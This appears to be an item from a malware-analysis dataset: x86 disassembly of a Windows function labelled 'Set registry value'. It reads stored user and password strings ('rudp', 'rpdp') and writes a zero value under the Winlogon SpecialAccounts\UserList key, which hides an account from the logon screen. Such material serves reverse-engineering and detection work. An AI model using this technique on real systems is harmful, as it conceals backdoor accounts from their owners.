Function at 0x411bc1
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 6
pop ecx
lea eax, [ebp - 0x28]
mov edi, 0x5550f0
lea esi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0x5550f0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [0x555154], esi
mov dword [0x555148], 0x5540a0
mov dword [0x555144], ebx
call fcn.00412446
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test eax, eax
je 0x411cb8
push str.rudp
lea ecx, [ebp + 0xc]
call fcn.0040346a
push eax
lea eax, [ebp + 8]
mov ecx, ebx
push eax
call fcn.004167fc
push eax
mov ecx, 0x55514c
call fcn.004035de
mov ecx, dword [ebp + 8]
call fcn.004068b7
mov ecx, dword [ebp + 0xc]
and dword [ebp + 8], 0
call fcn.004068b7
push str.rpdp
lea ecx, [ebp + 0xc]
call fcn.0040346a
push eax
lea eax, [ebp + 8]
mov ecx, ebx
push eax
call fcn.004167fc
push eax
mov ecx, 0x555150
call fcn.004035de
mov ecx, dword [ebp + 8]
call fcn.004068b7
mov ecx, dword [ebp + 0xc]
and dword [ebp + 8], 0
call fcn.004068b7
mov ecx, 0x55514c
call fcn.00403649
test eax, eax
jne 0x411cee
mov ecx, 0x555150
call fcn.00403649
test eax, eax
jne 0x411cee
push 0x5550f0
call edi
call fcn.00414af2
cmp eax, 6
jb 0x411e21
call fcn.00414b42
test eax, eax
jne 0x411e21
call fcn.004145c4
cmp eax, 1
je 0x411d1a
push 0x555150
push 0x55514c
push 1
jmp 0x411e2d
push 0x555150
push 0x55514c
push 8
lea ecx, [ebp - 0x20]
call fcn.00404fb9
push eax
mov ecx, esi
call fcn.00405262
lea ecx, [ebp - 0x20]
call fcn.00405014
xor eax, eax
inc eax
jmp 0x411e4e
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.00403700
push eax
mov ecx, 0x55514c
call fcn.004035de
mov ecx, dword [ebp + 8]
call fcn.004068b7
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.00403700
push eax
mov ecx, 0x555150
call fcn.004035de
mov ecx, dword [ebp + 8]
call fcn.004068b7
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
xor eax, eax
push eax
push 0xf013f
push eax
push eax
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push 4
push eax
push 4
push 0
push dword [0x55514c]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x555150
push 0x55514c
call fcn.0041313d
test eax, eax
jne 0x411dc0
push 0x555150
push 0x55514c
push 9
jmp 0x411e2d
push 0x55514c
push str.rudp
lea ecx, [ebp + 8]
call fcn.0040346a
push eax
mov ecx, ebx
call fcn.00416898
mov ecx, dword [ebp + 8]
call fcn.004068b7
push 0x555150
push str.rpdp
lea ecx, [ebp + 8]
call fcn.0040346a
push eax
mov ecx, ebx
call fcn.00416898
mov ecx, dword [ebp + 8]
call fcn.004068b7
mov ebx, 0x5550f0
mov ecx, 0x555108
push ebx
push 0x411fe9
call fcn.0040a66f
push ebx
call edi
jmp 0x411d12
push 0x555150
push 0x55514c
push 2
lea ecx, [ebp - 0x20]
call fcn.00404fb9
push eax
mov ecx, esi
call fcn.00405262
lea ecx, [ebp - 0x20]
call fcn.00405014
push 0x5550f0
call edi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc